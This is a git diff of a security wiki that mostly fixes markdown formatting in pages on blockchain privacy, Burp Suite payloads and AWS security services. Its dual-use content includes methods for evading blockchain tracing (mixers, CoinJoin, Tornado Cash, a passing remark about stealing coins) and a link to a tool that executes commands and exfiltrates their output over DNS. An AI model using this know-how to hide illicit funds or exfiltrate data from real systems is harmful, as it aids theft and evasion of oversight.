to be recognized, it must be **appended** to the **blockchain**. Validators (miners) carry out this appending; in most protocols, they **receive a reward** for doing so. For the blockchain to remain secure, it must have a mechanism to **prevent a malicious user or group from taking over a majority of validation**. Proof of work, another commonly used consensus mechanism, uses a validation of computational prowess to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network. @@ -25,9 +25,9 @@ The **miners** will **select several transactions** and then start **computing t ### Proof Of Stake (PoS) -PoS accomplishes this by **requiring that validators have some quantity of blockchain tokens**, requiring **potential attackers to acquire a large fraction of the tokens **on the blockchain to mount an attack.\ +PoS accomplishes this by **requiring that validators have some quantity of blockchain tokens**, requiring **potential attackers to acquire a large fraction of the tokens** on the blockchain to mount an attack.\ In this kind of consensus, the more tokens a miner has, the more probably it will be that the miner will be asked to create the next block.\ -Compared with PoW, this greatly **reduced the energy consumption **the miners are expending. +Compared with PoW, this greatly **reduced the energy consumption** the miners are expending. ## Bitcoin @@ -70,14 +70,14 @@ Each bitcoin transaction has several fields: * **Inputs**: The amount and address **from** where **bitcoins** are **being** transferred * **Outputs**: The address and amounts that each **transferred** to **each** **output** -* **Fee: **The amount of **money** that is **payed** to the **miner** of the transaction -* **Script_sig**: Script signature of the transaction -* **Script_type**: Type of transaction +* **Fee:** The amount of **money** that is **payed** to the **miner** of the transaction +* **Script\_sig**: Script signature of the transaction +* **Script\_type**: Type of transaction There are **2 main types** of transactions: * **P2PKH: "Pay To Public Key Hash"**: This is how transactions are made. You are requiring the **sender** to supply a valid **signature** (from the private key) and **public** **key**. The transaction output script will use the signature and public key and through some cryptographic functions will check **if it matches** with the public key hash, if it does, then the **funds** will be **spendable**. This method conceals your public key in the form of a hash for extra security. -* **P2SH: "Pay To Script Hash": **The outputs of a transaction are just **scripts **(this means the person how want this money send a script) that, if are **executed with specific parameters, will result in a boolean of `true` or `false`**. If a miner runs the output script with the supplied parameters and results in `true`, the **money will be sent to your desired output**. `P2SH` is used for **multi-signature** wallets making the output scripts** logic that checks for multiple signatures before accepting the transaction**. `P2SH` can also be used to allow anyone, or no one, to spend the funds. If the output script of a P2SH transaction is just `1` for true, then attempting to spend the output without supplying parameters will just result in `1` making the money spendable by anyone who tries. This also applies to scripts that return `0`, making the output spendable by no one. +* **P2SH: "Pay To Script Hash":** The outputs of a transaction are just **scripts** (this means the person how want this money send a script) that, if are **executed with specific parameters, will result in a boolean of `true` or `false`**. If a miner runs the output script with the supplied parameters and results in `true`, the **money will be sent to your desired output**. `P2SH` is used for **multi-signature** wallets making the output scripts **logic that checks for multiple signatures before accepting the transaction**. `P2SH` can also be used to allow anyone, or no one, to spend the funds. If the output script of a P2SH transaction is just `1` for true, then attempting to spend the output without supplying parameters will just result in `1` making the money spendable by anyone who tries. This also applies to scripts that return `0`, making the output spendable by no one. ### Lightning Network @@ -86,7 +86,7 @@ This **improves** bitcoin blockchain **speed** (it just on allow 7 payments per ![](<../.gitbook/assets/image (611).png>) -Normal use of the Lightning Network consists of **opening a payment channel** by committing a funding transaction to the relevant base blockchain (layer 1), followed by making** any number **of Lightning Network **transactions** that update the tentative distribution of the channel's funds **without broadcasting those to the blockchain**, optionally followed by closing the payment channel by **broadcasting** the **final** **version** of the settlement transaction to distribute the channel's funds. +Normal use of the Lightning Network consists of **opening a payment channel** by committing a funding transaction to the relevant base blockchain (layer 1), followed by making **any number** of Lightning Network **transactions** that update the tentative distribution of the channel's funds **without broadcasting those to the blockchain**, optionally followed by closing the payment channel by **broadcasting** the **final** **version** of the settlement transaction to distribute the channel's funds. Note that any of the both members of the channel can stop and send the final state of the channel to the blockchain at any time. @@ -98,7 +98,7 @@ Theoretically the inputs of one transaction can belong to different users, but i ### UTXO Change Address Detection -**UTXO** means** Unspent Transaction Outputs** (UTXOs). In a transaction that uses the output from a previous transaction as an input, the **whole output need to be spent** (to avoid double-spend attacks). Therefore, if the intention was to **send** just **part** of the money from that output to an address and **keep** the **other** **part**,** 2 different outputs **will appear: the **intended** one and a **random new change address** where the rest of the money will be saved. +**UTXO** means **Unspent Transaction Outputs** (UTXOs). In a transaction that uses the output from a previous transaction as an input, the **whole output need to be spent** (to avoid double-spend attacks). Therefore, if the intention was to **send** just **part** of the money from that output to an address and **keep** the **other** **part**, **2 different outputs** will appear: the **intended** one and a **random new change address** where the rest of the money will be saved. Then, a watcher can make the assumption that **the new change address generated belong to the owner of the UTXO**. @@ -108,7 +108,7 @@ Some people gives data about theirs bitcoin addresses in different webs on Inter ### Transaction Graphs -By representing the transactions in graphs, i**t's possible to know with certain probability to where the money of an account were**. Therefore, it's possible to know something about **users** that are **related** in the blockchain. +By representing the transactions in graphs, i**t's possible to know with certain probability to where the money of an account were**. Therefore, it's possible to know something about **users** that are **related** in the blockchain. ### **Unnecessary input heuristic** @@ -140,8 +140,8 @@ The correct behaviour by wallets is to not spend coins that have landed on an al ### Other Blockchain Analysis * **Exact Payment Amounts**: In order to avoid transactions with a change, the payment needs to be equal to the UTXO (which is highly unexpected). Therefore, a **transaction with no change address are probably transfer between 2 addresses of the same user**. -* **Round Numbers**: In a transaction, if one of the outputs is a "**round number**", it's highly probable that this is a **payment to a human that put that **"round number" **price**, so the other part must be the leftover. -* **Wallet fingerprinting: **A careful analyst sometimes deduce which software created a certain transaction, because the many **different wallet softwares don't always create transactions in exactly the same way**. Wallet fingerprinting can be used to detect change outputs because a change output is the one spent with the same wallet fingerprint. +* **Round Numbers**: In a transaction, if one of the outputs is a "**round number**", it's highly probable that this is a **payment to a human that put that** "round number" **price**, so the other part must be the leftover. +* **Wallet fingerprinting:** A careful analyst sometimes deduce which software created a certain transaction, because the many **different wallet softwares don't always create transactions in exactly the same way**. Wallet fingerprinting can be used to detect change outputs because a change output is the one spent with the same wallet fingerprint. * **Amount & Timing correlations**: If the person that performed the transaction **discloses** the **time** and/or **amount** of the transaction, it can be easily **discoverable**. ### Traffic analysis @@ -160,14 +160,14 @@ For more attacks read [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it ### Obtaining Bitcoins Anonymously -* **Cash trades: **Buy bitcoin using cash. -* **Cash substitute: **Buy gift cards or similar and exchange them for bitcoin online. -* **Mining: **Mining is the most anonymous way to obtain bitcoin. This applies to solo-mining as [mining pools](https://en.bitcoin.it/wiki/Pooled_mining) generally know the hasher's IP address. -* **Stealing: **In theory another way of obtaining anonymous bitcoin is to steal them. +* **Cash trades:** Buy bitcoin using cash. +* **Cash substitute:** Buy gift cards or similar and exchange them for bitcoin online. +* **Mining:** Mining is the most anonymous way to obtain bitcoin. This applies to solo-mining as [mining pools](https://en.bitcoin.it/wiki/Pooled\_mining) generally know the hasher's IP address. +* **Stealing:** In theory another way of obtaining anonymous bitcoin is to steal them. ### Mixers -A user would** send bitcoins to a mixing service** and the service would **send different bitcoins back to the user**, minus a fee. In theory an adversary observing the blockchain would be** unable to link** the incoming and outgoing transactions. +A user would **send bitcoins to a mixing service** and the service would **send different bitcoins back to the user**, minus a fee. In theory an adversary observing the blockchain would be **unable to link** the incoming and outgoing transactions. However, the user needs to trust the mixing service to return the bitcoin and also to not be saving logs about the relations between the money received and sent.\ Some other services can be also used as mixers, like Bitcoin casinos where you can send bitcoins and retrieve them later. @@ -180,13 +180,13 @@ This offers a new level of privacy, however, **some** **transactions** where som Examples of (likely) CoinJoin transactions IDs on bitcoin's blockchain are `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. [**https://coinjoin.io/en**](https://coinjoin.io/en)****\ -**Similar to coinjoin but better and for ethereum you have **[**Tornado Cash**](https://tornado.cash)** (the money is given from miners, so it jus appear in your waller).** +**Similar to coinjoin but better and for ethereum you have** [**Tornado Cash**](https://tornado.cash) **(the money is given from miners, so it jus appear in your waller).** ### PayJoin -The type of CoinJoin discussed in the previous section can be easily identified as such by checking for the multiple outputs with the same value. +The type of CoinJoin discussed in the previous section can be easily identified as such by checking for the multiple outputs with the same value. -PayJoin (also called pay-to-end-point or P2EP) is a special type of CoinJoin between two parties where one party pays the other. The transaction then **doesn't have the distinctive multiple outputs **with the same value, and so is not obviously visible as an equal-output CoinJoin. Consider this transaction: +PayJoin (also called pay-to-end-point or P2EP) is a special type of CoinJoin between two parties where one party pays the other. The transaction then **doesn't have the distinctive multiple outputs** with the same value, and so is not obviously visible as an equal-output CoinJoin. Consider this transaction: ``` 2 btc --> 3 btc @@ -201,10 +201,10 @@ If PayJoin transactions became even moderately used then it would make the **com ### Wallet Synchronization -Bitcoin wallets must somehow obtain information about their balance and history. As of late-2018 the most practical and private existing solutions are to use a **full node wallet **(which is maximally private) and **client-side block filtering** (which is very good). +Bitcoin wallets must somehow obtain information about their balance and history. As of late-2018 the most practical and private existing solutions are to use a **full node wallet** (which is maximally private) and **client-side block filtering** (which is very good). -* **Full node: **Full nodes download the entire blockchain which contains every on-chain [transaction](https://en.bitcoin.it/wiki/Transaction) that has ever happened in bitcoin. So an adversary watching the user's internet connection will not be able to learn which transactions or addresses the user is interested in. -* **Client-side block filtering: **Client-side block filtering works by having **filters** created that contains all the **addresses** for every transaction in a block. The filters can test whether an** element is in the set**; false positives are possible but not false negatives. A lightweight wallet would **download** all the filters for every **block** in the **blockchain** and check for matches with its **own** **addresses**. Blocks which contain matches would be downloaded in full from the peer-to-peer network, and those blocks would be used to obtain the wallet's history and current balance. +* **Full node:** Full nodes download the entire blockchain which contains every on-chain [transaction](https://en.bitcoin.it/wiki/Transaction) that has ever happened in bitcoin. So an adversary watching the user's internet connection will not be able to learn which transactions or addresses the user is interested in. +* **Client-side block filtering:** Client-side block filtering works by having **filters** created that contains all the **addresses** for every transaction in a block. The filters can test whether an **element is in the set**; false positives are possible but not false negatives. A lightweight wallet would **download** all the filters for every **block** in the **blockchain** and check for matches with its **own** **addresses**. Blocks which contain matches would be downloaded in full from the peer-to-peer network, and those blocks would be used to obtain the wallet's history and current balance. ### Tor @@ -228,7 +228,7 @@ If change avoidance is not an option then **creating more than one change output ## Monero -When Monero was developed, the gaping need for **complete anonymity **was what it sought to resolve, and to a large extent, it has filled that void. +When Monero was developed, the gaping need for **complete anonymity** was what it sought to resolve, and to a large extent, it has filled that void. ## Ethereum @@ -248,7 +248,7 @@ When Jordan sends the money, 1.00231 ETH will be deducted from Jordan's account. Additionally, Jordan can also set a max fee (`maxFeePerGas`) for the transaction. The difference between the max fee and the actual fee is refunded to Jordan, i.e. `refund = max fee - (base fee + priority fee)`. Jordan can set a maximum amount to pay for the transaction to execute and not worry about overpaying "beyond" the base fee when the transaction is executed. -As the base fee is calculated by the network based on demand for block space, this last param: maxFeePerGas helps to control the maximum fee that is going to be payed. +As the base fee is calculated by the network based on demand for block space, this last param: maxFeePerGas helps to control the maximum fee that is going to be payed. ### Transactions @@ -272,10 +272,10 @@ Note that there isn't any field for the origin address, this is because this can ## References -* [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) +* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake) * [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) * [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions) * [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) * [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) -* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) +* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse) diff --git a/burp-suite.md b/burp-suite.md index 9534468b..c9045fed 100644 --- a/burp-suite.md +++ b/burp-suite.md @@ -2,11 +2,11 @@ ## Basic Payloads -* **Simple List: **Just a list containing an entry in each line -* **Runtime File: **A list read in runtime (not loaded in memory). For supporting big lists. -* **Case Modification: **Apply some changes to a list of strings(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-. -* **Numbers: **Generate numbers from X to Y using Z step or randomly. -* **Brute Forcer: **Character set, min & max length. +* **Simple List:** Just a list containing an entry in each line +* **Runtime File:** A list read in runtime (not loaded in memory). For supporting big lists. +* **Case Modification:** Apply some changes to a list of strings(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-. +* **Numbers:** Generate numbers from X to Y using Z step or randomly. +* **Brute Forcer:** Character set, min & max length. [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload to execute commands and grab the output via DNS requests to burpcollab. diff --git a/cloud-security/aws-security.md b/cloud-security/aws-security.md index 40717342..3af52568 100644 --- a/cloud-security/aws-security.md +++ b/cloud-security/aws-security.md @@ -6,35 +6,35 @@ Services that fall under container services have the following characteristics: -* The service itself runs on** separate infrastructure instances**, such as EC2. -* **AWS **is responsible for **managing the operating system and the platform**. +* The service itself runs on **separate infrastructure instances**, such as EC2. +* **AWS** is responsible for **managing the operating system and the platform**. * A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. * As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. * Also, platform-level identity and access management where it exists. -* **Examples **of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +* **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. ### Abstract Services -* These services are** removed, abstracted, from the platform or management layer which cloud applications are built on**. +* These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. * The services are accessed via endpoints using AWS application programming interfaces, APIs. -* The** underlying infrastructure, operating system, and platform is managed by AWS**. +* The **underlying infrastructure, operating system, and platform is managed by AWS**. * The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. * **Data is isolated via security mechanisms**. -* Abstract services have a strong integration with IAM, and **examples **of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +* Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. ## IAM - Identity and Access Management -IAM is the service that will allow you to manage **Authentication**, **Authorization **and **Access Control** inside your AWS account. +IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. -* **Authentication **- Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. -* **Authorization **- Determines what an identity can access within a system once it's been authenticated to it. +* **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. +* **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. * **Access Control** - The method and process of how access is granted to a secure resource IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. ### Users -This could be a **real person** within your organization who requires access to operate and maintain your AWS environment. Or it could be an account to be used by an **application **that may require permissions to **access **your **AWS **resources **programmatically**. Note that **usernames must be unique**. +This could be a **real person** within your organization who requires access to operate and maintain your AWS environment. Or it could be an account to be used by an **application** that may require permissions to **access** your **AWS** resources **programmatically**. Note that **usernames must be unique**. #### CLI @@ -44,7 +44,7 @@ This could be a **real person** within your organization who requires access to Whenever you need to **change the Access Key** this is the process you should follow:\ ****_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ -**MFA **is **supported **when using the AWS **CLI**. +**MFA** is **supported** when using the AWS **CLI**. ### Groups @@ -54,22 +54,22 @@ These are objects that **contain multiple users**. Permissions can be assigned t Roles are used to grant identities a set of permissions. **Roles don't have any access keys or credentials associated with them**. Roles are usually used with resources (like EC2 machines) but they can also be useful to grant **temporary privileges to a user**. Note that when for example an EC2 has an IAM role assigned, instead of saving some keys inside the machine, dynamic temporary access keys will be supplied by the IAM role to handle authentication and determine if access is authorized. -An IAM role consists of** two types of policies**: A **trust policy**, which cannot be empty, defining who can assume the role, and a **permissions policy**, which cannot be empty, defining what they can access. +An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining who can assume the role, and a **permissions policy**, which cannot be empty, defining what they can access. -#### AWS Security Token Service (STS) +#### AWS Security Token Service (STS) -This is a web service that enables you to** request temporary, limited-privilege credentials** for AWS Identity and Access Management (IAM) users or for users that you authenticate (federated users). +This is a web service that enables you to **request temporary, limited-privilege credentials** for AWS Identity and Access Management (IAM) users or for users that you authenticate (federated users). ### Policies #### Policy Permissions -Are used to assign permissions. There are 2 types: +Are used to assign permissions. There are 2 types: * AWS managed policies (preconfigured by AWS) * Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. -By **default access **is **denied**, access will be granted if an explicit role has been specified. \ +By **default access** is **denied**, access will be granted if an explicit role has been specified. \ If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). ```javascript @@ -117,7 +117,7 @@ AWS Identity Federation connects via IAM roles. #### Cross Account Trusts and Roles -**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user **(trusted) to **access his account **but only h**aving the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ +**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only h**aving the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. #### AWS Simple AD @@ -143,14 +143,14 @@ The app uses the AssumeRoleWithWebIdentity to create temporary credentials. Howe ## KMS - Key Management Service - AWS Key Management Service (AWS KMS) is a managed service that makes it easy for you to** create and control **_**customer master keys**_** (CMKs)**, the encryption keys used to encrypt your data. AWS KMS CMKs are** protected by hardware security modules** (HSMs) + AWS Key Management Service (AWS KMS) is a managed service that makes it easy for you to **create and control **_**customer master keys**_** (CMKs)**, the encryption keys used to encrypt your data. AWS KMS CMKs are **protected by hardware security modules** (HSMs) -KMS uses** symmetric cryptography**. This is used to **encrypt information as rest **(for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**.\ +KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**.\ KMS is a **region specific service**. **Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. -**Customer Master Keys **(CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. +**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. @@ -196,14 +196,14 @@ Key administrator by default: ### Rotation of CMKs * The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. -* **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years **and this time it cannot be changed. +* **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. * **Older keys are retained** to decrypt data that was encrypted prior to the rotation * In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. -* If **CMK **is in state of **disabled **or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. +* If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. #### Manual rotation -* A** new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update **any **application **to **reference **the new CMK-ID. +* A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. * To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. * You need to **keep old keys to decrypt old files** encrypted with it. @@ -227,7 +227,7 @@ You cannot synchronize or move/copy keys across regions; you can only define rul Amazon S3 is a service that allows you **store important amounts of data**. -Amazon S3 provides multiple options to achieve the **protection **of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. +Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. With resource-based permissions, you can define permissions for sub-directories of your bucket separately. @@ -241,7 +241,7 @@ It's possible to **enable S3 access login** (which by default is disabled) to so **Server-side encryption with S3 managed keys, SSE-S3:** This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key. -* Encryption: +* Encryption: * Object Data + created plaintext DEK --> Encrypted data (stored inside S3) * Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory * Decryption: @@ -250,7 +250,7 @@ It's possible to **enable S3 access login** (which by default is disabled) to so Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control. -**Server-side encryption with KMS managed keys, SSE-KMS:** This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. +**Server-side encryption with KMS managed keys, SSE-KMS:** This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. * Encryption: * S3 request data keys from KMS CMK @@ -261,7 +261,7 @@ Please, note that in this case **the key is managed by AWS** (rotation only ever * KMS decrypt the data key with the CMK and send it back to S3 * S3 decrypts the object data -**Server-side encryption with customer provided keys, SSE-C:** This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. +**Server-side encryption with customer provided keys, SSE-C:** This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. * Encryption: * The user sends the object data + Customer key to S3 @@ -273,7 +273,7 @@ Please, note that in this case **the key is managed by AWS** (rotation only ever * The key is validated against the HMAC value stored * The customer provided key is then used to decrypt the data -**Client-side encryption with KMS, CSE-KMS:** Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. +**Client-side encryption with KMS, CSE-KMS:** Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. * Encryption: * Client request for a data key to KMS @@ -285,9 +285,9 @@ Please, note that in this case **the key is managed by AWS** (rotation only ever * The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK * The client can now decrypt the encrypted data -**Client-side encryption with customer provided keys, CSE-C:** Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. +**Client-side encryption with customer provided keys, CSE-C:** Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. -* Encryption: +* Encryption: * The client generates a DEK and encrypts the plaintext data * Then, using it's own custom CMK it encrypts the DEK * submit the encrypted data + encrypted DEK to S3 where it's stored @@ -303,16 +303,16 @@ The unusual feature of CloudHSM is that it is a physical device, and thus it is Typically, a device is available within 15 minutes assuming there is capacity, but if the AZ is out of capacity it can take two weeks or more to acquire additional capacity. -Both KMS and CloudHSM are available to you at AWS and both are integrated with your apps at AWS. Since this is a physical device dedicated to you,** the keys are stored on the device**. Keys need to either be** replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. +Both KMS and CloudHSM are available to you at AWS and both are integrated with your apps at AWS. Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\ -Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. +Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. -Just like scaling,** performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. +Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. -If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to** replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. +If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. -**CloudHSM **is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. +**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. **CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\ Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance. @@ -321,35 +321,35 @@ Additionally, cross consideration must be made in the purchase of third party so ### CloudHSM Suggestions -1. Always deploy CloudHSM in an **HA setup **with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. -2. Be careful when **initializing **a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. +1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. +2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. 3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear. 4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed. -5. The **SysLog forward should not be removed or changed**. You can always **add **a SysLog forwarder to direct the logs to your own collection tool. -6. The **SNMP **configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional **SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. +5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool. +6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. 7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source. The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently 